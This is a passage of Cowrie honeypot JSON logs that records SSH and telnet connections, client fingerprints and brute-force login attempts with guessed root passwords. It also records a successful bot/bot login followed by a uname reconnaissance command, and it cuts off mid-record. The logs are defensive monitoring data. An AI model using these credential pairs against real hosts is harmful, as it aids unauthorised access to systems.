{"eventid":"cowrie.session.closed","duration":45.972166299819946,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:19.032511Z","src_ip":"192.119.13.58","session":"c74b862bba15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":51637,"dst_ip":"10.17.0.5","dst_port":22,"session":"28cd4a4cf0d4","protocol":"ssh","message":"New connection: 201.249.192.30:51637 (10.17.0.5:22) [session: 28cd4a4cf0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:20.251819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:20.262130Z","src_ip":"201.249.192.30","session":"28cd4a4cf0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:20.328532Z","src_ip":"201.249.192.30","session":"28cd4a4cf0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charles","message":"login attempt [root/charles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:20.630846Z","src_ip":"201.249.192.30","session":"28cd4a4cf0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:21.699376Z","src_ip":"201.249.192.30","session":"28cd4a4cf0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.28","src_port":44392,"dst_ip":"10.17.0.5","dst_port":23,"session":"979a31446dc4","protocol":"telnet","message":"New connection: 152.32.132.28:44392 (10.17.0.5:23) [session: 979a31446dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:22.393123Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47038,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb6362ea1fa","protocol":"telnet","message":"New connection: 192.119.13.58:47038 (10.17.0.5:23) [session: 4bb6362ea1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:27.723201Z"}
{"eventid":"cowrie.session.closed","duration":51.071494579315186,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:28.684899Z","src_ip":"192.119.13.58","session":"bcdc3e2b8010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34500,"dst_ip":"10.17.0.5","dst_port":23,"session":"7589a85df787","protocol":"telnet","message":"New connection: 192.119.13.58:34500 (10.17.0.5:23) [session: 7589a85df787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:31.663369Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bde4899d21c","protocol":"telnet","message":"New connection: 192.119.13.58:38246 (10.17.0.5:23) [session: 5bde4899d21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:32.560203Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":42340,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f24ffe3855","protocol":"ssh","message":"New connection: 116.110.15.216:42340 (159.203.135.109:22) [session: f8f24ffe3855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:32.706180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:32.726443Z","src_ip":"116.110.15.216","session":"f8f24ffe3855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43256,"dst_ip":"10.17.0.5","dst_port":23,"session":"640d1adbea7f","protocol":"telnet","message":"New connection: 192.119.13.58:43256 (10.17.0.5:23) [session: 640d1adbea7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:33.394975Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:36.557860Z","src_ip":"116.110.15.216","session":"f8f24ffe3855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ipscan","message":"login attempt [root/ipscan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:38.084372Z","src_ip":"116.110.15.216","session":"f8f24ffe3855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:39.816036Z","src_ip":"116.110.15.216","session":"f8f24ffe3855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57446,"dst_ip":"10.17.0.5","dst_port":23,"session":"226952214820","protocol":"telnet","message":"New connection: 192.119.13.58:57446 (10.17.0.5:23) [session: 226952214820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:41.818326Z"}
{"eventid":"cowrie.session.closed","duration":38.56673574447632,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:42.519999Z","src_ip":"192.119.13.58","session":"a3fa37404858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36662,"dst_ip":"10.17.0.5","dst_port":23,"session":"94b095e5984f","protocol":"telnet","message":"New connection: 192.119.13.58:36662 (10.17.0.5:23) [session: 94b095e5984f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:44.402666Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37140,"dst_ip":"159.203.135.109","dst_port":22,"session":"b24d5f26e941","protocol":"ssh","message":"New connection: 103.27.238.116:37140 (159.203.135.109:22) [session: b24d5f26e941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:44.454941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:44.462053Z","src_ip":"103.27.238.116","session":"b24d5f26e941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:44.737920Z","src_ip":"103.27.238.116","session":"b24d5f26e941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:45.563685Z","src_ip":"103.27.238.116","session":"b24d5f26e941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49434,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e7bf647c5c","protocol":"ssh","message":"New connection: 193.32.162.145:49434 (10.17.0.5:22) [session: 24e7bf647c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:46.593963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:46.598780Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:46.709169Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:46.845040Z","src_ip":"103.27.238.116","session":"b24d5f26e941","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:47.052531Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:47.379486Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:47.383924Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:47.495198Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:47.501193Z","src_ip":"193.32.162.145","session":"24e7bf647c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e6bab1c110","protocol":"telnet","message":"New connection: 192.119.13.58:35308 (10.17.0.5:23) [session: 72e6bab1c110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:48.473306Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":50630,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b6b48e268c","protocol":"ssh","message":"New connection: 116.110.11.66:50630 (159.203.135.109:22) [session: e9b6b48e268c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:52.582175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:52.587184Z","src_ip":"116.110.11.66","session":"e9b6b48e268c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:53.559978Z","src_ip":"116.110.11.66","session":"e9b6b48e268c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59484,"dst_ip":"10.17.0.5","dst_port":23,"session":"482689dcb1f3","protocol":"telnet","message":"New connection: 192.119.13.58:59484 (10.17.0.5:23) [session: 482689dcb1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:55.026325Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:55.063413Z","src_ip":"116.110.11.66","session":"e9b6b48e268c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:56.633693Z","src_ip":"116.110.11.66","session":"e9b6b48e268c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38974,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0418a5084f","protocol":"ssh","message":"New connection: 103.82.132.16:38974 (159.203.135.109:22) [session: cc0418a5084f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:58.808234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:58.812741Z","src_ip":"103.82.132.16","session":"cc0418a5084f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51338,"dst_ip":"10.17.0.5","dst_port":23,"session":"524b6916d9ec","protocol":"telnet","message":"New connection: 192.119.13.58:51338 (10.17.0.5:23) [session: 524b6916d9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:58.982970Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","a